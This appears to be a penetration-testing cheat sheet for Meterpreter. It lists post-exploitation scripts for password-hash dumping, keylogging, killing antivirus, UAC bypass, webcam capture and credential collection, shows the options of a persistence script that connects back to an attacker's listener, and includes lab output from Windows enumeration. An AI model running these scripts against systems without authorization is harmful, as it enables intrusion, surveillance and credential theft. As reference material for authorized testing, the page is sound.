

# Meterpreter : scripts disponibles

```
meterpreter > run
Display all 103 possibilities? (y or n)
run arp_scanner
run autoroute
run checkvm
run credcollect
run domain_list_gen
run dumplinks
run duplicate
run enum_chrome
run enum_firefox
run enum_logged_on_users
run enum_powershell_env
run enum_putty
run enum_shares
run enum_vmware
run event_manager
run file_collector
run get_application_list
run get_env
run get_filezilla_creds
run get_local_subnets
run get_pidgin_creds
run get_valid_community
run getcountermeasure
run getgui
run gettelnet
run getvncpw
run hashdump
run hostsedit
run keylogrecorder
run killav
run metsvc
run migrate
run multi_console_command
run multi_meter_inject
run multicommand
meterpreter > run

run multiscrypt
run netenum
run packetrecorder
run panda_2007_pavsrv51
run persistence
run pml_driver_config
run post/multi/gather/env
run post/multi/gather/filezilla_client_cred
run post/multi/gather/firefox_creds
run post/multi/gather/multi_command
run post/multi/gather/pidgin_cred
run post/multi/gather/run_console_rc_file
run post/windows/capture/keylog_recorder
run post/windows/escalate/bypassuac
run post/windows/escalate/ms10_073_keyboardlayout
run post/windows/escalate/ms10_092_schelevator
run post/windows/escalate/net_runtime_modify
run post/windows/escalate/screen_unlock
run post/windows/escalate/service_permissions
run post/windows/gather/application_list
run post/windows/gather/arp_scanner
run post/windows/gather/checkvm
run post/windows/gather/credential_collector
run post/windows/gather/dumplinks
run post/windows/gather/enum_applications
run post/windows/gather/enum_chrome
run post/windows/gather/enum_domain_group_users
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_powershell_env
run post/windows/gather/enum_shares
run post/windows/gather/enum_snmp
run post/windows/gather/enum_vnc_pw
run post/windows/gather/filezilla_server_cred
run post/windows/gather/hashdump
run post/windows/gather/resolve_sid

run post/windows/gather/screen_spy
run post/windows/gather/usb_history
run post/windows/manage/autoroute
run post/windows/manage/delete_user
run post/windows/manage/enable_rdp
run post/windows/manage/migrate
run post/windows/manage/multi_meterpreter_inject
run powerdump
run prefetchtool
run process_memdump
run remotewinenum
run scheduleme
run schelevator
run schtasksabuse
run scraper
run screen_unlock
run screenspy
run search_dword
run service_manager
run service_permissions_escalate
run smartlocker
run sound_recorder
run srt_webdrive_priv
run uploadexec
run virtualbox_sysenter_dos
run virusscan_bypass
run vnc
run webcam
run win32-sshclient
run win32-sshserver
run winbf
run winenum
run wmic
```

# Exemple de scripts Meterpreter

```
meterpreter > run persistence -h
```

## OPTIONS:

```
-A      Automatically start a matching multi/handler to connect to the agent
-U      Automatically start the agent when the User logs on
-X      Automatically start the agent when the system boots
-h      This help menu
-i      The interval in seconds between each connection attempt
-p      The port on the remote host where Metasploit is listening
-r      The IP of the system running Metasploit listening for the connect back
```

```
meterpreter > run winenum
```

```
[*] Running Windows Local Enumeration Meterpreter Script
[*] New session on 10.211.55.128:4444...
[*] Saving report to /root/.msf3/logs/winenum/10.211.55.128_20090711.0514-99271/10.211.55.128_20090711
[*] Checking if SSHACKTHISBOX-0 is a Virtual Machine .....
[*] This is a VMware Workstation/Fusion Virtual Machine
[*] Running Command List ...
[*] running command cmd.exe /c set
[*] running command arp -a
[*] running command ipconfig /all
[*] running command ipconfig /displaydns
[*] running command route print
[*] running command net view
[*] running command netstat -nao
[*] running command netstat -vb
[*] running command netstat -ns
[*] running command net accounts
[*] running command net accounts /domain
[*] running command net session
[*] running command net share
[*] running command net group
[*] running command net user
[*] running command net localgroup
[*] running command net localgroup administrators
[*] running command net group administrators
[*] running command net view /domain
[*] running command netsh firewall show config
[*] running command tasklist /svc
[*] running command tasklist /m
```